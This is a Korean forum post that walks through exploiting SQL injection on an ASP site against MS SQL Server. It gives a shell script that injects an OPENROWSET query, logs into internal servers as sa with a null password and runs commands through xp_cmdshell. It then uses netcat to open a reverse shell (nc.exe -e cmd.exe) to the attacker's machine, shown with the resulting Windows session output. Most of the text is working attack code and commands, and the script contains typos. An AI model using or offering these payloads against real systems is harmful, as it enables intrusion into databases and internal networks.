사이트 내 전체검색
sql 인젝션용 스크립트 제작
로빈아빠
https://cmd.kr/server/900 URL이 복사되었습니다.

본문

SQL 인젝션을 익스플로잇하기 위한 스크립트 제작
vulnerablesite.com의 웹 서버는 MS SQL 데이터베이스에 sa 권한으로 접속하지 않았다. 따라서 바로 스토어드 프로시저 실행과 같은 상위 권한이 필요한 작업들은 실행이 불가능했다. 따라서 다음과 같이 다른 MS SQL 서버에 접속해 명령을 실행하는 스크립트를 짜고 여러 서버에 대해 명령을 실행해 보았다. 해당 서버에서 명령 실행이 잘 됐는지 여부는 ping이나 telnet으로 공격자의 컴퓨터로 패킷을 보내도록 하고, tcpdump로 그 패킷을 모니터링하는 방법이 많이 쓰인다. 바로 웹 페이지에서 명령 실행 결과를 볼 수 있는 경우는 거의 없다.

두 번째 줄의 프로그램의 첫 번째 인자는 공격 대상이 되는 호스트의 이름이나 주소이고, 네 번째 줄의 나머지 인자는 실행할 명령행이다. 다섯 번째 줄에서는 lynx를 사용해 대상 호스트에 접속한다. 실제로 vulnerablesite.com의 MS SQL 서버에서 실행하려는 쿼리는 다음과 같다.

select * from OPENROWSET(‘SQLoledb’,’uid=sa;pwd=;Network=DBMSSOCN;Address=$host,1433;’,’
SET FMTONLY OFF execute master..xp_cmdshell “$cmd”’)

이 쿼리는 데이터베이스에서 대상 $host의 MS SQL 데이터베이스에 sa 권한으로 널 패스워드로 접속해 $cmd 명령을 실행하라는 의미다. 대상 $host의 MS SQL 데이터베이스의 sa에 패스워드가 걸려 있지 않다면 이 스크립트는 성공할 것이다. $host를 변화시켜 가면서 취약한 MS SQL 서버를 찾아서 내부 망을 스캐닝해 볼 수도 있다.


  [리스트 1] exec.sh 분석


1: #!/bin/sh
2: host-$1
3: shift
4: cmd='echo $@|sed "s/ /+/g"'
5: lynx -dump http://vulnerablestie.com/test/aaa_detail.asp?code=
000&id=20030121114206'select+*from+OPENROWEST( 'SQLoledb' ,'
uid=sa;pwd=;Network=DBMSSOCN;Address=$host,1433;' ,'
SET+FMTONLY+OFF+execute+master..xp_cmdshell+"$cmd"')--
&gotopage=l&idx=000&ref=73&re_step=0&re_level=0"




2단계 | 명령 셸 획득
netcat을 다운로드하고 리버스 커넥션을 통해 명령 셸에서 작업할 수 있었다. 방화벽이 있어서 외부에서 내부 시스템에 접근하기 힘들 것이라고 생각한다면 오산이다. 대부분 방화벽은 외부에서 내부 망으로의 직접적인 공격을 막도록 설계되어 있다. 하지만 내부 망에서 외부로 나가는 트래픽은 거의 통제하지 못하는 실정이고, 애플리케이션 레벨의 프로토콜에 대해 분석할 수 있는 기능이 없으므로 80번 웹 포트와 같이 일반적인 포트를 사용해 외부로 접근할 경우 거의 감지할 수 없다. nc를 구동해 cmd.exe를 실행하고 공격자의 컴퓨터로 그 제어권을 넘긴다.

sh exec.sh 10.1.1.5 nc.exe -e cmd.exe <erased for security reason> 9999

nc를 통해 셸을 얻고, 명령을 실행하는 모습이다. 일반적인 명령행의 명령들은 모두 실행할 수 있다.

tester:~/# nc -l -vv -p 9999
listening on [any] 9999 ...
<erased for security reason>: inverse host lookup failed: Unknown host
connect to [<erased for security reason>] from (UNKNOWN) [<erased for security reason>] 1173
Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:WINNTsystem32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter 로컬 영역 연결:

Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : <erased for security reason>

Subnet Mask . . . . . . . . . . . : <erased for security reason>

Default Gateway . . . . . . . . . : <erased for security reason>

댓글목록

등록된 댓글이 없습니다.

1,139 (17/23P)

Search

Copyright © Cmd 명령어 3.15.228.162